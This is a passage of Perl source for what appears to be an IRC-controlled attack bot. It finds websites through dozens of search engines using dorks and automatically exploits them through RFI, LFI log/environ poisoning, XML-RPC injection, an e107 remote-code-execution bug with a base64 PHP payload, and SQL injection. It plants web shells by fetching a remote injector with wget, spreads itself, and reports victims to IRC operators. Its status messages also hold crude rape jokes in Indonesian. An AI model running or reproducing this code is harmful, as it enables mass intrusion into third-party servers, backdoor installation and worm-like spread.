  585.         } exit; }
  586.     }
  587.    
  588.     if ($engine =~ /bing/i) {
  589.         if ($pid = fork) { waitpid($pid, 0); }
  590.         else { if (fork) { exit; } else {
  591.         &type($chan,$bug,$dork,"Bing",$type);
  592.         } exit; }
  593.     }
  594.    
  595.     if ($engine =~ /altavista/i) {
  596.         if ($pid = fork) { waitpid($pid, 0); }
  597.         else { if (fork) { exit; } else {
  598.         &type($chan,$bug,$dork,"ALtaViSTa",$type);
  599.         } exit; }
  600.     }
  601.    
  602.     if ($engine =~ /ask/i) {
  603.         if ($pid = fork) { waitpid($pid, 0); }
  604.         else { if (fork) { exit; } else {
  605.         &type($chan,$bug,$dork,"AsK",$type);
  606.         } exit; }
  607.     }
  608. sleep(100);&msg("$chan","4AaAaAaArrrgghhh... Pelan Pelan DoNk SaYaNK..!! Atit NIh..!!");
  609. sleep(20);$scan_part = 2;
  610. }  
  611. if ($scan_part == 2) {
  612. &msg("$chan","4Pemerkosaan Ke $scan_part $bug $dork");
  613.     if ($engine =~ /uol/i) {
  614.         if ($pid = fork) { waitpid($pid, 0); }
  615.         else { if (fork) { exit; } else {
  616.         &type($chan,$bug,$dork,"UoL",$type);
  617.         } exit; }
  618.     }
  619.  
  620.     if ($engine =~ /yahoo/i) {
  621.         if ($pid = fork) { waitpid($pid, 0); }
  622.         else { if (fork) { exit; } else {
  623.         &type($chan,$bug,$dork,"YahOo",$type);
  624.         } exit; }
  625.     }
  626.    
  627.     if ($engine =~ /clusty/i) {
  628.         if ($pid = fork) { waitpid($pid, 0); }
  629.         else { if (fork) { exit; } else {
  630.         &type($chan,$bug,$dork,"CluSty",$type);
  631.         } exit; }
  632.     }
  633.    
  634.     if ($engine =~ /gutser/i) {
  635.         if ($pid = fork) { waitpid($pid, 0); }
  636.         else { if (fork) { exit; } else {
  637.             &type($chan,$bug,$dork,"GutSer",$type);
  638.         } exit; }
  639.     }
  640.    
  641.     if ($engine =~ /rediff/i) {
  642.         if ($pid = fork) { waitpid($pid, 0); }
  643.         else { if (fork) { exit; } else {
  644.         &type($chan,$bug,$dork,"ReDiff",$type);
  645.         } exit; }
  646.     }
  647. sleep(100);&msg("$chan","4UuUuUh... Yes.. OoH.. No.. Udah Mo Hampir KeLuaR nih.. Say!!");
  648. sleep(20);$scan_part = 3;
  649. }  
  650. if ($scan_part == 3) {
  651. &msg("$chan","4Pemerkosaan Ke $scan_part $bug $dork");
  652.     if ($engine =~ /virgilio/i) {
  653.         if ($pid = fork) { waitpid($pid, 0); }
  654.         else { if (fork) { exit; } else {
  655.         &type($chan,$bug,$dork,"VirgiLio",$type);
  656.         } exit; }
  657.     }
  658.  
  659.     if ($engine =~ /webde/i) {
  660.         if ($pid = fork) { waitpid($pid, 0); }
  661.         else { if (fork) { exit; } else {
  662.         &type($chan,$bug,$dork,"WebDe",$type);
  663.         } exit; }
  664.     }
  665.  
  666.     if ($engine =~ /exalead/i) {
  667.         if ($pid = fork) { waitpid($pid, 0); }
  668.         else { if (fork) { exit; } else {
  669.         &type($chan,$bug,$dork,"ExaLead",$type);
  670.         } exit; }
  671.     }
  672.    
  673.     if ($engine =~ /lycos/i) {
  674.         if ($pid = fork) { waitpid($pid, 0); }
  675.         else { if (fork) { exit; } else {
  676.         &type($chan,$bug,$dork,"LyCos",$type);
  677.         } exit; }
  678.     }
  679.  
  680.     if ($engine =~ /hotbot/i) {
  681.         if ($pid = fork) { waitpid($pid, 0); }
  682.         else { if (fork) { exit; } else {
  683.         &type($chan,$bug,$dork,"HotBot",$type);
  684.         } exit; }
  685.     }
  686. sleep(100);&msg("$chan","4YeeEeeEsss... TinGgal DikIt Lagi Nih Say... UdAh Mo KeLuAr Nih..!!");
  687. sleep(20);$scan_part = 4;
  688. }
  689. if ($scan_part == 4) {
  690. &msg("$chan","4Pemerkosaan Ke $scan_part $bug $dork");
  691.     if ($engine =~ /aol/i) {
  692.         if ($pid = fork) { waitpid($pid, 0); }
  693.         else { if (fork) { exit; } else {
  694.         &type($chan,$bug,$dork,"AoL",$type);
  695.         } exit; }
  696.     }
  697.    
  698.     if ($engine =~ /sapo/i) {
  699.         if ($pid = fork) { waitpid($pid, 0); }
  700.         else { if (fork) { exit; } else {
  701.         &type($chan,$bug,$dork,"SaPo",$type);
  702.         } exit; }
  703.     }
  704.    
  705.     if ($engine =~ /duck/i) {
  706.         if ($pid = fork) { waitpid($pid, 0); }
  707.         else { if (fork) { exit; } else {
  708.         &type($chan,$bug,$dork,"DuCk",$type);
  709.         } exit; }
  710.     }
  711.  
  712.     if ($engine =~ /lygo/i) {
  713.         if ($pid = fork) { waitpid($pid, 0); }
  714.         else { if (fork) { exit; } else {
  715.         &type($chan,$bug,$dork,"LyGo",$type);
  716.         } exit; }
  717.     }
  718.  
  719.     if ($engine =~ /yause/i) {
  720.         if ($pid = fork) { waitpid($pid, 0); }
  721.         else { if (fork) { exit; } else {
  722.         &type($chan,$bug,$dork,"YauSe",$type);
  723.         } exit; }
  724.     }
  725. sleep(100);&msg("$chan","4uUuUuUhhhhh... Mantap.. GeNJoT Lebih KeRas Donk Say..!!");
  726. sleep(20);$scan_part = 5;
  727. }
  728. if ($scan_part == 5) {
  729. &msg("$chan","4Pemerkosaan Ke $scan_part $bug $dork");
  730.     if ($engine =~ /baidu/i) {
  731.         if ($pid = fork) { waitpid($pid, 0); }
  732.         else { if (fork) { exit; } else {
  733.         &type($chan,$bug,$dork,"BaiDu",$type);
  734.         } exit; }
  735.     }
  736.  
  737.     if ($engine =~ /kipot/i) {
  738.         if ($pid = fork) { waitpid($pid, 0); }
  739.         else { if (fork) { exit; } else {
  740.         &type($chan,$bug,$dork,"KiPoT",$type);
  741.         } exit; }
  742.     }
  743.  
  744.     if ($engine =~ /gibla/i) {
  745.         if ($pid = fork) { waitpid($pid, 0); }
  746.         else { if (fork) { exit; } else {
  747.         &type($chan,$bug,$dork,"GiBLa",$type);
  748.         } exit; }
  749.     }
  750.  
  751.     if ($engine =~ /black/i) {
  752.         if ($pid = fork) { waitpid($pid, 0); }
  753.         else { if (fork) { exit; } else {
  754.         &type($chan,$bug,$dork,"BLacK",$type);
  755.         } exit; }
  756.     }
  757.  
  758.     if ($engine =~ /interia/i) {
  759.         if ($pid = fork) { waitpid($pid, 0); }
  760.         else { if (fork) { exit; } else {
  761.         &type($chan,$bug,$dork,"interia",$type);
  762.         } exit; }
  763.     }
  764.  
  765.     if ($engine =~ /walla/) {
  766.         if ($pid = fork) { waitpid($pid, 0); }
  767.         else { if (fork) { exit; } else {
  768.         &type($chan,$bug,$dork,"walla",$type);
  769.         } exit; }
  770.     }
  771.  
  772.     if ($engine =~ /naver/) {
  773.         if ($pid = fork) { waitpid($pid, 0); }
  774.         else { if (fork) { exit; } else {
  775.         &type($chan,$bug,$dork,"naver",$type);
  776.         } exit; }
  777.     }
  778.  
  779.     if ($engine =~ /libero/) {
  780.         if ($pid = fork) { waitpid($pid, 0); }
  781.         else { if (fork) { exit; } else {
  782.         &type($chan,$bug,$dork,"libero",$type);
  783.         } exit; }
  784.     }
  785.  
  786.     if ($engine =~ /tiscali/) {
  787.         if ($pid = fork) { waitpid($pid, 0); }
  788.         else { if (fork) { exit; } else {
  789.         &type($chan,$bug,$dork,"tiscali",$type);
  790.         } exit; }
  791.     }
  792.  
  793.     if ($engine =~ /ixquic/) {
  794.         if ($pid = fork) { waitpid($pid, 0); }
  795.         else { if (fork) { exit; } else {
  796.         &type($chan,$bug,$dork,"ixquic",$type);
  797.         } exit; }
  798.     }
  799.  
  800.     if ($engine =~ /snz/) {
  801.         if ($pid = fork) { waitpid($pid, 0); }
  802.         else { if (fork) { exit; } else {
  803.         &type($chan,$bug,$dork,"snz",$type);
  804.         } exit; }
  805.     }
  806.  
  807.     if ($engine =~ /seznam/) {
  808.         if ($pid = fork) { waitpid($pid, 0); }
  809.         else { if (fork) { exit; } else {
  810.         &type($chan,$bug,$dork,"seznam",$type);
  811.         } exit; }
  812.     }
  813.  
  814.     if ($engine =~ /szukacz/) {
  815.         if ($pid = fork) { waitpid($pid, 0); }
  816.         else { if (fork) { exit; } else {
  817.         &type($chan,$bug,$dork,"szukacz",$type);
  818.         } exit; }
  819.     }
  820.  
  821.     if ($engine =~ /kvasir/) {
  822.         if ($pid = fork) { waitpid($pid, 0); }
  823.         else { if (fork) { exit; } else {
  824.         &type($chan,$bug,$dork,"kvasir",$type);
  825.         } exit; }
  826.     }
  827.  
  828.     if ($engine =~ /msn/) {
  829.         if ($pid = fork) { waitpid($pid, 0); }
  830.         else { if (fork) { exit; } else {
  831.         &type($chan,$bug,$dork,"msn",$type);
  832.         } exit; }
  833.     }
  834.  
  835.     if ($engine =~ /alltheweb/) {
  836.         if ($pid = fork) { waitpid($pid, 0); }
  837.         else { if (fork) { exit; } else {
  838.         &type($chan,$bug,$dork,"alltheweb",$type);
  839.         } exit; }
  840.     }
  841. sleep(100);&msg("$chan","4OoOhh.. My GoD, MaKnYuSS BaNgeT.. KiTa KeLuaRiN SaMa2 Ya Say..!!!");
  842. sleep(20);$scan_part = 6;
  843. }
  844. if ($scan_part == 6) {
  845. &msg("$chan","4YeEeEeEesSsSsS... UdAhan dUlu ea Say.. UnTuK -> 12 $bug $dork");
  846. }
  847. }
  848.  
  849. #########################################
  850.  
  851. sub rfi() {
  852.     my $chan = $_[0];
  853.     my $bug = $_[1];
  854.     my $dork = $_[2];
  855.     my $engine = $_[3];
  856.     my $count = 0;
  857.     my @list = search_engine($chan,$bug,$dork,$engine,$rfilogo);
  858.     my $num = scalar(@list);
  859.     if ($num > 0) {
  860.         foreach my $site (@list) {
  861.             $count++;
  862.             if ($count == $num-1) { &msg("$chan","$rfilogo($engine) Pemerkosaan Selesai Untuk14 $dork"); }
  863.             my $rfixpl = "http://".$site.$bug.$rfiid."?";
  864.             my $rfivuln = "http://".$site.$bug."3[4@13phpshell3]?";
  865.             my $rfisprd = "http://".$site.$bug.$ipays."?";
  866.             my $html = get_content($rfixpl);
  867.             if ( $html =~ /ipays exploit/ && $html =~ /uid=/) {
  868.                         os($rfixpl);
  869.                         &get_content($rfisprd);
  870.                         &msg("$chan","$rfilogo($engine)3(4@13RFI-Vuln3)4 ".$rfivuln." 14".$un." 12(safemode-off)");
  871.                         &msg("ipays","3(4@13RFI-Vuln3)4 ".$rfivuln." 3".$un." 13(safemode-off)");
  872.                         &msg("craxs","3(4@13RFI-Vuln3)4 ".$rfivuln." 3".$un." 13(safemode-off)");
  873.                         sleep(4);
  874.                     }elsif
  875.                ( $html =~ /ipays exploit/) {
  876.                         os($rfixpl);
  877.                         &get_content($rfisprd);
  878.                         &msg("$chan","$rfilogo($engine)3(4@13RFI-Vuln3)2 ".$rfivuln." 14".$un." 4(safemode-on)");
  879.                         sleep(4);
  880.             }
  881.         }
  882.     }
  883. }
  884.  
  885. sub lfi() {
  886.     my $chan = $_[0];
  887.     my $bug = $_[1];
  888.     my $dork = $_[2];
  889.     my $engine = $_[3];
  890.     my $count = 0;
  891.     my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  892.     my $num = scalar(@list);
  893.     if ($num > 0) {
  894.         foreach my $site (@list) {
  895.             $count++;
  896.             if ($count == $num-1) { &msg("$chan","$lfilogo($engine) Pemerkosaan Selesai Untuk14 $dork"); }
  897.             my $lfidir  = "../../../../../../../../../../../../../../..";
  898.             my $lfixpl  = "http://".$site.$bug.$lfidir."/proc/self/environ%00";
  899.             my $lfivuln  = "http://".$site.$bug."7".$lfidir."/proc/self/environ%00";
  900.             my $lfishell = "http://".$site.$bug."7".$lfidir."/tmp/x-maza%00";
  901.             my $html  = get_content($lfixpl);
  902.             if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT=/) {
  903.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  904.                     my $code = 'echo "ipaysb0t#".php_uname()."#ipaysb0t"; if(@copy("'.$injector.'","/tmp/x-maza")) { echo "SUCCESS"; }';
  905.                     my $res = lfi_env_query($lfixpl,encode_base64($code));
  906.                     $res =~ s/\n//g;
  907.                     if ($res =~ /ipaysb0t#(.*)#ipaysb0tSUCCESS/sg) {
  908.                         my $sys = $1;
  909.                         &msg("$chan","$lfilogo($engine)(LFI-SHell)4 ".$lfishell." 14".$sys." ");
  910.                         &msg("ipays","3(4@13LFI-SHELL3)4 ".$lfishell." 14".$sys." ");
  911.                         &msg("craxs","3(4@13LFI-SHELL3)4 ".$lfishell." 14".$sys." ");
  912.                         sleep(4);
  913.                         &lfi_spread_query($lfisprd);
  914.                     }
  915.                     elsif ($res =~ /ipaysb0t#(.*)#ipaysb0t/sg) {
  916.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  917.                             my $sys = $1;
  918.                             my $upload = 'system("wget '.$injector.' -O /tmp/x-maza");';
  919.                             my $wget = lfi_env_query($lfixpl,encode_base64($upload)); sleep(1);
  920.                             my $check = get_content("http://".$site.$bug.$lfidir."/tmp/x-maza%00"); sleep(1);
  921.                             if ($check =~ /ipays exploit/) {
  922.                                 &msg("$chan","$lfilogo($engine)3(4@13LFI-SHELL3)4 ".$lfishell." 14".$sys." ");
  923.                                 &msg("ipays","3(4@13LFI-SHELL3)4 ".$lfishell." 14".$sys." ");
  924.                                 &msg("craxs","3(4@13LFI-SHELL3)4 ".$lfishell." 14".$sys." ");
  925.                                 sleep(4);
  926.                                 &lfi_spread_query($lfisprd);
  927.                             }
  928.                             else {
  929.                                 &msg("$chan","$lfilogo($engine)3(4@13SysTem3)4 http://".$site.$bug."12[LFI] 14".$sys." ");
  930.                                 sleep(4);
  931.                             }
  932.                         } exit; }sleep(5);
  933.                     }
  934.                     else { &msg("$chan","$lfilogo($engine)3(4@13EnviRon3)4 ".$lfivuln." "); }
  935.                 } exit; } sleep(3);
  936.             }
  937.         }
  938.     }
  939. }
  940.  
  941. sub xml() {
  942.     my $chan = $_[0];
  943.     my $bug = $_[1];
  944.     my $dork = $_[2];
  945.     my $engine = $_[3];
  946.     my $count = 0;
  947.     my @list = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  948.     my $num = scalar(@list);
  949.     if ($num > 0) {
  950.         foreach my $site (@list) {
  951.             $count++;
  952.             if ($count == $num-1) { &msg("$chan","$xmllogo($engine)4 Scan finish for14 $dork"); }
  953.             my $xmlxpl = "http://".$site.$bug;
  954.             my $html = get_content($xmlxpl);
  955.             if ( $strona =~ /faultCode/ ) {
  956.         xmlcek($xmlxpl);
  957.         xmlvuln($xmlxpl);
  958.         xmlxspread($xmlxpl,$xmlspread);
  959.                 &msg("$chan","$xmllogo($engine)3(4@13XML-SHELL3)4 ".$xmlshell." 14".$os." ");
  960.             }
  961.         }
  962.     }
  963. }
  964.  
  965. sub lfd() {
  966.     my $chan = $_[0];
  967.     my $bug = $_[1];
  968.     my $dork = $_[2];
  969.     my $engine = $_[3];
  970.     my $count = 0;
  971.     my @list = &search_engine($chan,$bug,$dork,$engine,$lfdlogo);
  972.     my $num = scalar(@list);
  973.     if ($num > 0) {
  974.         foreach my $site (@list) {
  975.             $count++;
  976.             if ($count == $num-1) { &msg("$chan","$lfdlogo($engine)4 Scan finish for14 $dork"); }
  977.             my $lfdxpl = "http://".$site.$bug.$lfdtest;
  978.             my $lfdvuln = "http://".$site.$bug."7".$lfdtest;
  979.             my $html = get_content($lfdxpl);
  980.             if ($html =~ /$lfdoutput/) {
  981.                 &msg("$chan","$lfdlogo($engine)3(4@13LFD-Vuln3)4 ".$lfdvuln." ");
  982.                 sleep(2);
  983.             }
  984.         }
  985.     }
  986. }
  987.  
  988. sub sql() {
  989.     my $chan = $_[0];
  990.     my $bug = $_[1];
  991.     my $dork = $_[2];
  992.     my $engine = $_[3];
  993.     my $count = 0;
  994.     my @list = search_engine($chan,$bug,$dork,$engine,$sqllogo);
  995.     my $num = scalar(@list);
  996.     if ($num > 0) {
  997.         foreach my $site (@list) {
  998.             $count++;
  999.             if ($count == $num-1) { &msg("$chan","$sqllogo($engine) Pemerkosaan Selesai Untuk14 $dork"); }
  1000.             my $sqlxpl = "http://".$site.$bug."'";
  1001.             my $sqlvuln = "http://".$site.$bug."12[SQL]";
  1002.             my $sqlsite = "http://".$site.$bug;
  1003.             my $html = get_content($sqlxpl);
  1004.             if ( $html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  1005.                        &msg("$chan","$sqllogo($engine)3(4@13MySQL3)4 $sqlvuln ");
  1006.                        &sqlbrute($sqlsite);
  1007.             }elsif
  1008.                ( $html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  1009.                        &msg("$chan","$sqllogo($engine)3(4@13MySQL3)4 $sqlvuln ");
  1010.             }elsif
  1011.                ( $html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i ) {
  1012.                        &msg("$chan","$sqllogo($engine)3(4@13Maccess3)4 $sqlvuln ");
  1013.             }
  1014.         }
  1015.     }
  1016. }
  1017.  
  1018. sub e107() {
  1019.     my $chan = $_[0];
  1020.     my $bug = $_[1];
  1021.     my $dork = $_[2];
  1022.     my $engine = $_[3];
  1023.     my $count = 0;
  1024.     my @list = &search_engine($chan,$bug,$dork,$engine,$e107logo);
  1025.     my $num = scalar(@list);
  1026.     if ($num > 0) {
  1027.         foreach my $site (@list) {
  1028.             $count++;
  1029.             if ($count == $num-1) { &msg("$chan","$e107logo($engine)4 Pemerkosaan Selesai Untuk14 $dork"); }
  1030.             my $e107xpl = "http://".$site.$bug;
  1031.             my $code = "ZWNobyAiaXBheXM8YnI+IjsNCmVjaG8gInN5czoiLnBocF91bmFtZSgpLiI8YnI+IjsNCiRjbWQ9ImVjaG8gTWF6YWNyZVciOw0KJGVzZWd1aWNtZD1leCgkY21kKTsNCmVjaG8gJGVzZWd1aWNtZDsNCmZ1bmN0aW9uIGV4KCRjZmUpew0KJHJlcyA9ICcnOw0KaWYgKCFlbXB0eSgkY2ZlKSl7DQppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQpAZXhlYygkY2ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpew0KJHJlcyA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KQHBjbG9zZSgkZik7DQp9fQ0KcmV0dXJuICRyZXM7DQp9";
  1032.             my $html = e107_rce_query($e107xpl,$code);
  1033.             if ($html =~ /ipays<br>sys:(.+?)<br>MazacreW/) {
  1034.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1035.                     my $sys = $1;
  1036.                     my $upload = 'if(@copy("'.$injector.'","ipays.php")) { echo "IPAYSSUKSESIPAYS"; }';
  1037.                     my $res = e107_rce_query($e107xpl,encode_base64($upload));
  1038.                     if ($res =~ /IPAYSSUKSESIPAYS/) {
  1039.                         &msg("$chan","$e107logo($engine)12(e107-SheLL)4 http://".$site."4ipays.php 14".$sys." 12(safemode-off)");
  1040.             &msg("ipays","(e107-SheLL)4 http://".$site."13ipays.php 14".$sys." 12(safemode-off)");
  1041.             &msg("craxs","12(e107-SheLL)4 http://".$site."13ipays.php 14".$sys." 12(safemode-off)");
  1042.                         sleep(2);
  1043.                     }
  1044.                     else {
  1045.                         &msg("$chan","$e107logo($engine)(e107-Vuln) ".$e107xpl." 14".$sys." 12(safemode-off)");
  1046.                         sleep(2);
  1047.                     }
  1048.                     &e107_spread_query($e107xpl);
  1049.                     sleep(2);
  1050.                 } exit; } sleep(2);
  1051.             }
  1052.             elsif ($html =~ /ipays<br>sys:(.+?)<br>/) {
  1053.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1054.                     my $sys = $1;
  1055.                     my $upload = 'if(@copy("'.$injector.'","ipays.php")) { echo "IPAYSSUKSESIPAYS"; }';
  1056.                     my $res = e107_rce_query($e107xpl,encode_base64($upload));
  1057.                     if ($res =~ /IPAYSSUKSESIPAYS/) {
  1058.                         &msg("$chan","$e107logo($engine)3(4@13e107-Shell3)13 http://".$site."7ipays.php 14".$sys." (safemode-on)");
  1059.                         &msg("ipays","3(4@13e107-Shell3)2 http://".$site."4ipays.php 14".$sys." 4(safemode-on)");
  1060.                         &msg("craxs","3(4@13e107-Shell3)2 http://".$site."4ipays.php 14".$sys." 4(safemode-on)");
  1061.                         sleep(2);
  1062.                     }
  1063.                     else {
  1064.                         &msg("$chan","$e107logo($engine)3(4@13e107-Vuln3)10 ".$e107xpl." 14".$sys." 4(safemode-on)");
  1065.                         sleep(2);
  1066.                     }
  1067.                 } exit; } sleep(2);
  1068.             }
  1069.         }
  1070.     }
  1071. }
  1072.  
  1073. ########################################
  1074.  
  1075. sub search_engine() {
  1076.     my (@total,@clean);
  1077.     my $chan = $_[0];
  1078.     my $bug = $_[1];
  1079.     my $dork = $_[2];
  1080.     my $engine = $_[3];
  1081.     my $logo = $_[4];
  1082.     if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1083.     if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
  1084.     if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1085.     if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  1086.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1087.     if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1088.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1089.     if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1090.     if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
  1091.     if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  1092.     if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  1093.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1094.     if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  1095.     if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  1096.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1097.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1098.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1099.     if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
  1100.     if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  1101.     if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  1102.     if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  1103.     if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
  1104.     if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  1105.     if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  1106.     if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
  1107.     if ($engine eq "walla") { my @walla = &walla($dork); push(@total,@walla); }
  1108.     if ($engine eq "naver") { my @naver = &naver($dork); push(@total,@naver); }
  1109.     if ($engine eq "libero") { my @libero = &libero($dork); push(@total,@libero); }
  1110.     if ($engine eq "tiscali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  1111.     if ($engine eq "ixquic") { my @ixquic = &ixquic($dork); push(@total,@ixquic); }
  1112.     if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
  1113.     if ($engine eq "seznam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1114.     if ($engine eq "szukacz") { my @szukacz = &szukacz($dork); push(@total,@szukacz); }
  1115.     if ($engine eq "kvasir") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
  1116.     if ($engine eq "msn") { my @msn = &msn($dork); push(@total,@msn); }
  1117.     if ($engine eq "alltheweb") { my @alltheweb = &alltheweb($dork); push(@total,@alltheweb); }
  1118.     @clean = clean(@total);
  1119.     &msg("$chan","$logo($engine)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  1120.     return @clean;
  1121. }
  1122.  
  1123. #########################################
  1124.  
  1125. sub cmdlfi() {
  1126. my $browser = LWP::UserAgent->new;
  1127. my $url = $_[0];
  1128. my $cmd = $_[1];
  1129. my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut";
  1130. $browser->agent("$hie");
  1131. $browser->timeout(3);
  1132. $response = $browser->get( $url );
  1133. if ($response->content =~ /j13mbut(.*)j13mbut/s) {
  1134. print $1;
  1135. &msg("$chan","3(4@13LFICMD3)2 $1");
  1136. } else {
  1137. &msg("$chan","3(4@13LFICMD3)4 NoT FounD");
  1138. }
  1139. }
  1140.  
  1141. sub cmdxml() {
  1142. my $jed = $_[0];
  1143. my $dwa = $_[1];
  1144. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1145.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1146.         $exploit .= "<methodName>test.method</methodName>";
  1147.         $exploit .= "<params><param><value><name>',''));";
  1148.         $exploit .= "echo'ipays';echo`".$dwa."`;echo'MazacreW';exit;/*</name></value></param></params></methodCall>";
  1149. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  1150. if ($response->content =~ /ipays(.*)MazacreW/s) {
  1151. print $1;
  1152. &msg("$chan","3(4@13XMLCMD3)2 $1");
  1153. } else {
  1154. &msg("$chan","3(4@13XMLCMD3)4 NoT FounD");
  1155. }
  1156. }
  1157.  
  1158. sub cmde107() {
  1159. my $url  = $_[0];
  1160. my $code = $_[1];
  1161. my $chan  = $_[2];
  1162. my $codecmd = encode_base64($code);
  1163. my $cmd = 'echo(base64_decode("aXBheXM=").shell_exec(base64_decode("aWQ=")).base64_decode("TWF6YWNyZVc=")).shell_exec(base64_decode("'.$codecmd.'"));';
  1164.     my $req = HTTP::Request->new(POST => $path);
  1165.     $req->content_type('application/x-www-form-urlencoded');
  1166.     $req->content("send-contactus=1&author_name=[php]".$cmd.";die;[/php]");
  1167.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1168.     $ua->timeout(10);
  1169.     my $res = $ua->request($req);
  1170. my $data = $res->as_string;
  1171. if ( $data =~ /ipays(.*)MazacreW/ ){
  1172.      $mydata = $1;
  1173. &msg("$chan","3(4@13E107-CMD3)2 $mydata");
  1174. }
  1175. else { &msg("$chan","3(4@13E107-CMD3)4 NoT FounD");
  1176. }
  1177. }
  1178.  
  1179. #########################################
  1180.  
  1181. sub os() {
  1182.     my $url = $_[0];
  1183.     my $chk  = get_content($url);
  1184.     if ( $chk =~ m/<br>uname -a:(.+?)\<br>/g ) {
  1185.         $un = $1;
  1186.     }
  1187.     if ( $chk =~ m/<br>os:(.+?)\<br>/g ) {
  1188.         $os = $1;
  1189.     }
  1190. }
  1191.  
  1192. sub rce_os() {
  1193.     my $sys = "";
  1194.     my $url = $_[0];
  1195.     my $chk = get_content($url);
  1196.     $chk =~ s/\n//;
  1197.     if ($chk =~ /999(.*)666/sg) { $sys = $1; }
  1198.     return $sys;
  1199. }
  1200.  
  1201. sub isFound() {
  1202.     my $status = 0;
  1203.     my $link = $_[0];
  1204.     my $reqexp = $_[1];
  1205.     my $res = get_content($link);
  1206.     if ($res =~ /$reqexp/) { $status = 1 }
  1207.     return $status;
  1208. }
  1209.  
  1210. sub get_content() {
  1211.     my $url = $_[0];
  1212.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1213.     $ua->timeout(10);
  1214.     my $req = HTTP::Request->new(GET => $url);
  1215.     my $res = $ua->request($req);
  1216.     return $res->content;
  1217. }
  1218.  
  1219. sub lfi_env_query() {
  1220.     my $url = $_[0];
  1221.     my $code = $_[1];
  1222.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
  1223.     $ua->timeout(10);
  1224.     my $req = HTTP::Request->new(GET => $url);
  1225.     my $res = $ua->request($req);
  1226.     return $res->content;
  1227. }
  1228.  
  1229. sub lfi_spread_query() {
  1230.     my $url = $_[0];
  1231.     my $code = $_[1];
  1232.     my $agent = "<?php echo \"ipaysb0t#\"; passthru(\'".$code."\'); echo \"#ipaysb0t\"; ?>";
  1233.     my $ua = LWP::UserAgent->new(agent => $agent);
  1234.     $ua->timeout(15);
  1235.     my $req = HTTP::Request->new(GET => $url);
  1236.     my $response = $ua->request($req);
  1237.     return $response->content;
  1238. }
  1239.  
  1240. sub xmlcek {
  1241. my $xmltgt = $_[0];
